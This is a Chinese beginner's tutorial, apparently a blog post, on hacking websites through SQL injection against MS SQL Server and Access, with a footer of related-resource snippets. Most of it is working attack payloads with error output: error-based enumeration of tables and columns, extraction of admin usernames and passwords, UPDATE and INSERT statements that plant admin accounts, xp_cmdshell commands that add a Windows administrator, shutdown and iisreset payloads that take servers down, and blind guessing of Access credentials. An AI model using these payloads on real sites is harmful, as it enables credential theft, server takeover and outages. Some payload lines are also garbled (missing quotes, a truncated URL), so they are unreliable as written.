`
sogotobj
  • 浏览: 662635 次
  • 性别: Icon_minigender_2
  • 来自: 北京
文章分类
社区版块
存档分类
最新评论

菜鸟SQL注入详解

阅读更多

菜鸟SQL注入详解
网上有很多高手GG们写的利用SQL注入如何去黑网站的,偶看了,嘿嘿。
不过可能对于一些初学者而且,有点难。在这里,小林想把这个过时的
东东作一次全面的交待,尽量让没有编程基础的DDMM们很快的拿握这门技术。
利用SQL进行添加,更改,查看记录。

网上有很多高手GG们写的利用SQL注入如何去黑网站的,偶看了,嘿嘿。
不过可能对于一些初学者而且,有点难。在这里,小林想把这个过时的
东东作一次全面的交待,尽量让没有编程基础的DDMM们很快的拿握这门技术。
利用SQL进行添加,更改,查看记录。

当一台主机台开了80端口,当你手头没有任何黑客工具,那么,偶们有SQL。
他不需要你其他东东,只要一个浏览器就够了。HOHO,偶的文章菜菜,偶写这
篇文章只是为了让一些对SQL很陌生的菜菜们看的,老鸟绕道。。。

1,什么是SQL注入?

SQL注入,就是利用欺骗的方式,通过网页的查询功能,或查询命令注入。
当用户来到网站,会提交一些数据,再到数据库进行查询,确定此用户的身份。
举个简单的例子来说吧,你去一个站点的论坛,那么,你会输入你的用户名和
密码,点“确定”,网站会通过数据库的查询来判断你是不是他们的用户,
你的用户名和密码是否正确。而利用SQL注入,通过构造特殊的语句,来查找我
们所想要得到的信息,如管理员的帐号密码。以下,小林用了http://xxx.xxx.com
来表示一个存在注入漏洞的网页。


2,助手篇,
先把IE菜单-工具-Internet选项-高级-显示友好 HTTP 错误信息前面的勾去掉。
否则,不论服务器返回什么错误,我们都只能看到“HTTP 500服务器错误”,不能获得更多的提示信息


3,哪些网页能利用?
我们去找一些要提交数据的网页,如:登陆页面,查找页面,添加页面等
找到后,如果你注意过网页的源代码,那么,你会发现,他上面一般有一个如下的表单:


这些网页,后缀如asp,jsp,cgi,php网页。
如:http://xxx.xxx.com/index.asp?id=10
上面这个例子,就是ASP页后,看到他的ID还的值了吗?是10。一般,我们找的就是这些页面
来练手了。(要做个好人噢。(^_^)像小林一样的好人。)

4,怎么测试它是存在注入漏洞的呢?这一步偶称它为“踩点”。
小林有一个毛病,看什么网页,就要顺手在参数(如上面的10)上加一个小小的引号。
http://xxx.xxx.com/index.asp?id=10
返回错误信息:

Microsoft OLE DB Provider for SQL Server 错误 80040e14

字符串 之前有未闭合的引号。

/job/grxx.asp,行141

这就是说,他用的是MsSQL数据库。这个引号,导致引号未闭合的错误。本身就是错的,因为
通常一个整数是不用在SQL里加引号的。

如果他不是一个整数而是字母呢?

http://xxx.xxx.com/index.asp?user=lamb

那我们就把引号放到lamb中间,如lamb
呵呵,又出错了吧?

这说明,站点这一部分的代码是大有问题的(当然,就算他有源码公布在网上,我也懒得看)

当然,我们也可以提交:
http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,这里的columnaaa是我乱写的)
出现错误信息:

Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name columnaaa.

/job/grxx.asp,行27
这说明,这是一个SQL,里面没有columnaaa这个字段(我习惯说“列”)。

利用出错的信息,我们现在多少了解了这个站点的服务了吧?

5,现在开工啦,偶不喜欢猜测他的字段名,太浪费TIME了,我们要想办法让数据查询中出错。
要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUP BY 或HAVING。如:

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--

出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14

[Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is invalid in the

select list because it is not contained in an aggregate function and there is no GROUP BY

clause.

/more.asp,行27

看到article.newsid了吗?说明有一个叫article.newsid的列,因为你在用HAVING,所以你必须还要用

上GROUP BY,于是黑客就重复错误提交,直到没有得到错误。
这里要说明一下:分号在这里分离,%20 是空格,--表示后面是一个注释,也就是说只是说明,不能去

执行代码。(*_*)

下面是具体例子:

提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
得到article.newsid这真是好东西。
提交:
http://xxx.xxx.com/job/grxx.asp? ... id%20having%201=1--
得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is invalid in the

select list because it is not contained in either an aggregate function or the GROUP BY

clause.

/more.asp,line 20

得到:
article.title
我们反复地一个一个加上来提交。
得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is invalid in the

select list because it is not contained in either an aggregate function or the GROUP BY

clause.

/more.asp,line 56

这里要注意了,都到哪儿了?到下一个表了。
现在我们知道这里至少有2个表,他们的别名是:adm和article,如里面article对应的是:newsid等

title

利用系统表:

下面,我们要确定表名来加入数据。
系统表是MS-SQL 2000的一部分,名叫sysObjects table,我们将要用到查询UNION SELECT,。
要从SysObjects table 有天地拿到表名,一般使用下面语句:
SELECT name FROM sysObjects WHERE xtype=U U是指明定议USER的表。
黑客们已经知道了表里的列,
现在他们能在下面加一些数字。甚至如下面的:

在地址栏里打入:

http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT% ;
201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U--
记住,上面的,1-6数据中,6是我们想要的。不过有时候会出现数据类型错误,

http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT ;TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES--

MS SQL服务将试图去转换一个string (nvarchar)到integer。那么就会出错:

Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

table1 to a column of data type int.
/index.asp, line 5

这个错误信息很“友好”地告诉我们string (nvarchar)值不能被转换成integer。
这样,我们就获得了数据表的第一个表名!这个表名就是tabel1。


要获得第二个表名,我们继续,用以下查询:
http://xxx.xxx.com/job/grxx.asp?id=23%20UNION ;SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (table1)--

也可以用关键字查找数据:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %25ADMIN%25--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

admin_login to a column of data type int.
/index.asp, line 5

寻找与之匹配的值,%25ADMIN%25在SQL服务器上将被认作 %ADMIN%。这样,我们就能获得符合标
准的表名为"admin_login"的表了。

那么,如何获得表里所有的列表?

我们能利用另一个有用的东东,INFORMATION_SCHEMA.COLUMNS 出场!!!
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login--

现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

u_id to a column of data type int.
/index.asp, line 6
看,我们有了第一个字段的名,我们用NOT IN () 来获得下一个字段名:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME NOT IN

(u_id)--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

u_name to a column of data type int.
/index.asp, line 5
我们继续,获得其他列表。如:"password"等,因为我们获得下面错误信息:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME NOT IN

(u_id,u_name,password,contents)--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select

list if the statement contains a UNION operator.
/index.asp, line 5
6。2 如何找到我们要找的重要数据呢?
现在我们知道了表名,字段名,我们用相同的方法收集我们要的在数据库里的信息。
现在,我们从"admin_login" 表里取得第一个u_name :
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 u_name FROM admin_login--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

adminroot to a column of data type int.
/index.asp, line 5

我们知道,这里有登陆的用户名叫 "adminroot"的管理员。最后,从数据库里获得"adminroot" 的密码


http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM admin_login where

u_name=adminroot--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

root to a column of data type int.
/index.asp, line 5
我们现在能用户名"adminroot"密码:"root"登陆了。


如何取得数字的值?

以上技术描述有有一定的局限性。当我们试图转换文本组成有效的数字0-9我们不能得到任何错误。
让我们说说如何获得"tony"的密码,密码是 "19840217":
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM admin_login where

u_name=tony--
我们很可能发现,该页无法显示的错误。这结果表示,密码"19840217"被修改到一个数了。在整
合一个整型(10 也是),因为这是一个有效的整合。所以SQL服务就不会给出错误的提示了。
我们就得不到数字的登陆了。
要解决这个问题,我们能附加一些字母来测试转换失败。我们用以下的测试来代替:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 convert(int,

password%2b%20lambgirl) FROM admin_login where u_name=tony--

我们简单地利用加号+设置密码数据文件的搜索路径。随便加一些。ASSCII码+ = 0x2b
我们将添加空格在密码里。所以,如果把我们的密码是19840217。他将变成19840217 lambgirl.
调出了转换了的函数。试着将19840217 lambgirl转变成整型。SQL服务将出现ODBC错误:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

19840217 lambgirl to a column of data type int.
/index.asp, line 5
现在,你就能用tony和密码:19840217 lambgirl了。


如何在数据库修改,插入数据?
当我们成功地获得了表名,字段。就很容易在数据库里修改甚至插入新的数据。如更改"adminroot"
的密码,我们

http://xxx.xxx.com/job/grxx.asp?id=23 ;UPDATE admin_login SET password = newpas5 WHERE

u_name=adminroot--

要在数据表里插入新记录,

http://xxx.xxx.com/job/grxx.asp?id=23 ;INSERT INTO admin_login (u_id, u_name,

password, contents) VALUES (123,xiaolin,pas,lambgirl)--
现在,我们就能用xiaolin pas 来登陆了。


如何远程执行SQL漏洞?

能进行SQL注入命令表明,我们能查任何我们想要查的。默认安装的的MS SQL服务
在系统中权限等于管理员。我们能利用执行存储过程像xp_cmdshell 来执行远程破坏:
; exec master..xp_cmdshell ping 192.168.0.2--

(如果单引号不能用,就换成双引号)

分号表示结束前面的SQL查询,从而允许你开始另一个新的SQL命令。
为了检验命令成功执行,你可以监听从192.168.0.2发出的的ICMP包。查看是否发出包。

#tcpdump icmp
如果你没有接到PING主机的回应,得到一个错误的提示,权限错误,那么,很可能管理员
限制了WEB用户对xp_cmdshell 等的权限。

如何找出MYSQL查询结果?
这很容易用sp_makewebtask来把你查询的结果放到一个HTML里:
; EXEC master..sp_makewebtask "192.168.0.2sharegirlxiaolin.html", "SELECT * FROM

INFORMATION_SCHEMA.TABLES"
但是目标IP必须共享文件夹。


http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell “net user name
password /add”--

xp_cmdshell 用于调用系统命令,于是,用net命令新建了用户名为name、密码为password
的windows的帐号,接着:
http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell “net localgroup name

administrators /add”--
将新建的帐号name加入管理员组,不过这种方法只于用sa连接数据库的情况,否则,没有权限调用

xp_cmdshell。

其他方面,如利用SQL的命令填写:
将使SQL服务快速关闭
用户名: ; shutdown with nowait; --
密码: 不填

导致严重问题,网络故障。
用户名: ; exec master..xp_cmdshell iisreset; --
密码:不填

关于ACCESS部分,

和ASSQL差不了多少,也是先在http://xxx.xxx.com/index.asp?id=10

出错的话,继续提交:
先测试是否有ADMIN表,
http://xxx.xxx.com/index.asp?id=10 and 0<>(select count(*) from admin)

http://xxx.xxx.com/index.asp?id=10 and 1=(select count(*) from admin)
没有的话,就换一个名字,如user啊,什么的。再猜里面是否有username这个字段.

and 1=(select count(*) from admin where len(username)>0)
如果出错,同理,我们也可以给它换一个名字。
接下来我们猜用户的具体名字。
and 1=(select count(*) from admin where left(username,1)=l)
这时我们可以一个一个地来猜。
and 1=(select count(*) from admin where left(username,2)=la)
接下来猜密码,猜密码的道理同猜用户名一样。
and 1=(select count(*) from admin where left(password,1)=l)


分享到:
评论

相关推荐

    菜鸟也来玩SQL Iniection.pdf

    【SQL注入攻击详解】 SQL注入攻击(SQL Injection)是一种针对基于Web的应用程序的常见安全漏洞,尤其是当这些应用使用用户提供的数据直接构建SQL查询时。它允许攻击者通过输入恶意的SQL代码,来操纵数据库,获取...

    万能密码是什么_菜鸟必读

    ### IT安全知识详解:防御SQL注入攻击 在探讨IT安全领域中,有一个概念常常被提及——**万能密码**,尤其是在网络安全与数据库安全的上下文中。这个术语实际上并不指向一个真实的、通用的密码,而是指一种利用编程...

    Visual Basic+SQL Server数据库

    同时,应使用参数化查询避免SQL注入攻击,加强系统安全。 8. **报表和数据可视化** 结合Crystal Reports或Microsoft Reporting Services,VB应用程序可以生成丰富的报表,提供数据分析和决策支持。VB控件如Chart或...

    ASP.NET源码——[电子商务]菜鸟商城系统.zip

    - **安全**:防止SQL注入、XSS攻击,采用HTTPS加密传输,确保用户信息安全。 - **性能优化**:缓存策略、数据库索引优化、异步处理、负载均衡等手段提升系统性能。 6. **部署与运维** ASP.NET应用通常部署在IIS...

    iBatis入门教程

    3. **参数化查询**:支持参数化的SQL语句,提高安全性并避免SQL注入攻击。 4. **动态SQL**:支持根据条件动态生成SQL语句,增加查询的灵活性。 #### 四、快速入门案例 ##### 1. 准备阶段 - **业务逻辑分析**:...

    菜鸟商城系统_dotnet电子商务系统源代码.rar

    9. **安全与性能**:系统安全包括数据加密、防止SQL注入、XSS攻击等,而性能优化可能涉及到缓存策略、数据库查询优化、异步处理等。 10. **测试与部署**:源代码中可能包含了单元测试和集成测试用例,以及持续集成/...

    毕业设计:基于ASP.NET、js+bootstrap、sqlserver制作的基于移动终端的网上书城购物系统.zip

    7. **安全性**:考虑到电子商务的安全性,系统可能应用了身份验证、授权机制,以及防止SQL注入、XSS攻击的安全措施。 8. **部署与运维**:项目完成后,需要在IIS服务器上部署,并进行性能优化和监控,以确保系统...

    DVWA-master.zip

    DVWA的主要目标是教育用户如何识别和防止常见的Web应用程序安全漏洞,如SQL注入、XSS(跨站脚本)、文件包含漏洞、命令注入等。这些漏洞在现实世界中可能导致数据泄露、系统被控制甚至网络犯罪。 1. SQL注入:DVWA...

    ojdbc6-11.2.0.1.0.jar

    - 使用`PreparedStatement`而非`Statement`,因为前者可以减少SQL解析时间,防止SQL注入,并提高执行效率。 - 执行批处理操作(`addBatch()`和`executeBatch()`)以减少网络往返次数。 - 使用连接池(如C3P0、...

    jdbc封装包

    - `PreparedStatement`:预编译的SQL语句,可以防止SQL注入,性能比Statement好。 - `CallableStatement`:用于调用存储过程。 3. **JDBC操作步骤**: - 加载驱动:`Class.forName("com.mysql.jdbc.Driver")` -...

    毕业设计:基于PHP轻论坛系统.zip

    在开发过程中,需关注SQL注入、XSS跨站脚本攻击、CSRF跨站请求伪造等问题,使用预编译语句防止SQL注入,过滤和转义用户输入以防止XSS,设置验证码或令牌来防止CSRF。 八、优化与扩展 随着论坛的发展,可能需要考虑...

    毕业设计:基于PHP短链接系统.zip

    6. **安全考虑**:短链接系统应考虑到XSS、SQL注入等安全问题,对用户输入进行验证和过滤,使用预处理语句防止SQL注入,并确保输出内容的安全性。 7. **性能优化**:对于高并发访问,可以考虑使用缓存技术(如Redis...

    毕业设计:基于PHP商城系统.zip

    使用预编译语句、参数化查询可以有效避免SQL注入,对用户输入进行过滤和编码可以防止跨站脚本攻击。 8. 前端技术: 前端可能使用HTML5、CSS3和JavaScript,配合jQuery等库实现页面交互效果。Bootstrap或Vue.js等...

    毕业设计:基于PHP会员管理系统.zip

    使用预处理语句或参数化查询可以防止SQL注入,对用户输入进行过滤和转义可以避免XSS攻击。 10. **用户体验** 系统应具有良好的用户体验,包括友好的用户界面、合理的布局和快速的响应时间。这可能涉及到前端技术如...

    用idea + springboot + maven + mybatis 开发的拍卖行系统.zip

    在实际开发过程中,还需要考虑安全性(如防止SQL注入、XSS攻击)、性能优化(如缓存策略、数据库设计)、用户体验(如页面响应速度、交互设计)等方面。同时,测试是必不可少的环节,单元测试、集成测试以及压力测试...

    阿里开发手册规范!!!!!!

    1. 输入验证:对用户输入进行严格的检查和过滤,防止SQL注入、XSS攻击等安全风险。 2. 密码处理:敏感数据如密码应加密存储,避免明文泄露。 3. 防止跨站请求伪造(CSRF):使用令牌机制确保请求来源的合法性。 ...

    毕业设计:基于PHP功能强大的评论系统.zip

    6. 安全性:防止SQL注入和跨站脚本(XSS)攻击是任何Web应用的基本要求。使用预编译语句、转义用户输入、过滤和验证数据,都是防止这些常见攻击的方法。 7. AJAX异步通信:为了提供更好的用户体验,评论系统可能会...

    将之前基于SSM实现的教务管理系统改成SpringBoot+Mybatis实现.zip

    【SSM框架详解】 SSM框架由Spring、Struts2和Mybatis三个组件构成。Spring作为整体的容器,负责依赖注入(DI)和面向切面编程(AOP),提供事务管理等服务;Struts2作为MVC框架,处理HTTP请求,负责业务逻辑和视图的...

    毕业设计:基于PHP查询系统.zip

    6. **安全性**:了解常见的Web安全威胁,如SQL注入、XSS攻击等,学习使用预编译语句、过滤用户输入和HTTP头部安全设置来增强系统安全性。 7. **会话管理**:掌握如何使用PHP的session机制来跟踪用户状态,实现登录...

Global site tag (gtag.js) - Google Analytics